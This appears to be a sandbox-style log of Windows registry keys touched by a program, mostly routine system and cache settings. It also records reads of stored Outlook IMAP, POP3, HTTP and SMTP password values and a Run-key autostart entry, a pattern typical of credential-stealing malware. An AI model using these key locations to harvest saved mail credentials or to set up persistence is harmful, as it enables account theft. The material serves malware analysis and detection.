HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DhcpDomain
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\SearchList
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\SearchList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\NodeType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpNodeType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\ScopeId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpScopeId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableProxy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableDns
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\ProductId
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgJITDebugLaunchSetting
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgManagedDebugger
HKEY_CURRENT_USER\Control Panel\International\sYearMonth
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Foamex International Inc
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Url History\DaysToKeep
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\SyncMode5
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\SessionStartTimeDefaultDeltaSecs
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Signature
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\PerUserItem
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\PerUserItem
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\PerUserItem
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\PerUserItem
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\PerUserItem
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\PerUserItem
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012017011320170114\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012017011320170114\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012017011320170114\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012017011320170114\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012017011320170114\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheOptions
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheRepair
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CachePath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CachePrefix
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheLimit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheOptions
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\regasm.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\*
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\MissingDependencies
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\Email
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\IMAP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\POP3 Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\HTTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\SMTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\Email
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\IMAP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\POP3 Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\HTTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\SMTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\Email
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\IMAP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\POP3 Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\HTTP Password
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\SMTP Password
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32\Class
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\ServerExecutable
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\DllSurrogate
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LaunchPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyAuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyImpersonationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LoadUserSettings
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\REGDBVersion
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#IDE#CdRomVBOX_CD-ROM_____________________________1.0_____#5&106af171&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\DeviceDesc
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\LocaleName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Data
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\#eHeadphoneWave\Control\Linked
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\ConfigFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000\Data
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\SessionEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Level
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AreaFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Session
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\BufferSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MinimumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumBuffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFileMode
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\FlushTimer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AgeLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\Setup\UpgradeInProgress
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\ActiveWriterStateTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Settings\TornComponentsMax
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\IdentifierLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\QueryLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\PathLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbThrottlingEnabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighMaxLimitFactor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbTaskMaxSleep
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3Mult
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Unchecked Task Count
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Working Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Build
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\MOF Self-Install Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Default Repository Driver
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueCoreFsrepVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Cache Spill Ratio
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckPointValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SnapShotValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckRepositoryOnNextStartup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NumWriteIdCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Item Age (ms)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableObjectValidation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NextAutoRecoverFile
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Enable Provider Subsystem
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\Provider
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\Scope
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\Locale
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\User
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Client\{4528B43E-8110-4BC2-9519-4704F6839CC9}\MarshaledProxy
